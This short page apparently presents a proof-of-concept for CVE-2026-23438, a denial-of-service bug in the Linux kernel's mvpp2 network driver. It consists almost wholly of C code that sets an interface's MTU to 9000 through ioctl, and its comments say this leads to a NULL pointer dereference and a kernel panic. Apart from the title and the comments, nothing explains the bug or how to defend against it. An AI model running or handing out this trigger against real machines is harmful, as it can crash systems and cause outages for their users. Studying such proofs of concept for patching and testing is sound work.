CVE-2026-23438 Linux内核mvpp2驱动拒绝服务漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <linux/if.h> // PoC for CVE-2026-23438 // Trigger: Changing MTU on mvpp2 interface to cross jumbo frame threshold // Requires a vulnerable interface (e.g., eth0 handled by mvpp2) // and specific DT configuration missing CM3 SRAM. int main(int argc, char *argv[]) { int sock; struct ifreq ifr; const char *ifname = "eth0"; // Replace with actual mvpp2 interface if (argc > 1) ifname = argv[1]; sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1); // Set MTU to a value that triggers jumbo frame threshold (e.g., 9000) // This triggers mvpp2_bm_switch_buffers -> mvpp2_bm_pool_update_priv_fc // -> mvpp2_cm3_read -> NULL pointer dereference ifr.ifr_mtu = 9000; if (ioctl(sock, SIOCSIFMTU, &ifr) < 0) { perror("ioctl SIOCSIFMTU"); close(sock); return 1; } printf("MTU changed to %d. If vulnerable, kernel should panic/crash.\n", ifr.ifr_mtu); close(sock); return 0; }